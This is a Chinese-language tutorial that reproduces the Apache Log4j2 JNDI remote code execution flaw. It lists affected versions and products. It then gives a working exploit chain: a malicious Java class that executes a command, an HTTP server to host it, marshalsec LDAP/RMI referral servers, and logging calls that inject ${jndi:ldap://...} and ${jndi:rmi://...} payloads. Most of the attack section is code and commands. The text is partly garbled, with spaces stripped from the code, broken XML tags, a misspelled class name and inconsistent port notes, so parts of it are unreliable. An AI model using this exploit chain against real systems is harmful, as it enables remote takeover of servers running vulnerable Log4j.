漏洞简介
| 漏洞概述 |
| 由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。 |
| 影响版本 |
| Apache Log4j 2.x<=2.15.0.rc1 |
| 影响范围 |
| Spring-Boot-strater-log4j2Apache |
| Struts2Apache |
| SolrApache |
| FlinkApache |
| DruidElasticSearch |
| Flume |
| Dubbo |
| Redis |
| Logstash |
| Kafka |
| vmvare |
复现过程
恶意类
编写一个恶意类Exploit,这里以弹出计算器为例。
publicclassExploit {
publicExploit() {
try {
String[] commands=newString[]{"open", "/System/Applications/Calculator.app"};
Processpc=Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch (Exceptionvar3) {
var3.printStackTrace();
}
}
publicstaticvoidmain(String[] argv) {
newExploit();
}
}
将这个类进行编译,在编译生成的.class文件目录下启动一个web服务。
python3-mhttp.server8000
marshalsec
marshalsec这款工具,可以快速开启RMI和LDAP服务。GitHub:https://github.com/mbechler/marshalsec
clone到本地后使用maven编译。
mvn clean package -DskipTests
编译完成后在当前目录会生成一个target文件夹,里面有我们需要的jar包marshalsec-0.0.3-SNAPSHOT-all.jar
启动LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Expliot"8080
#8088是启动LDAP服务的端口号,若端口号为空,则使用默认端口:1389。
启动RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8888/#Expliot" 9090
#9090是启动LDAP服务的端口号,若端口号为空,则使用默认端口:1099。
漏洞利用
创建一个maven工程,引入jar包依赖。
<dependencies>
<dependency>
<groupId>org.apache.logging.log4jgroupId>
<artifactId>log4j-apiartifactId>
<version>2.14.0version>
dependency>
<dependency>
<groupId>org.apache.logging.log4jgroupId>
<artifactId>log4j-coreartifactId>
<version>2.14.0version>
<dependency>
<dependencies>
LADP协议注入
创建测试类:
importorg.apache.logging.log4j.LogManager;
importorg.apache.logging.log4j.Logger;
publicclassldap {
privatestaticfinalLoggerlogger=LogManager.getLogger(ldap.class);
publicstaticvoidmain(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
}
}
RMI协议注入
创造测试类:
importorg.apache.logging.log4j.LogManager;
importorg.apache.logging.log4j.Logger;
publicclassrmi {
privatestaticfinalLoggerlog=LogManager.getLogger();
publicstaticvoidmain(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
log.error("${jndi:rmi://0.0.0.0:1099/Exploit}");
}
}
运行上面两个类,成功调用出计算器。
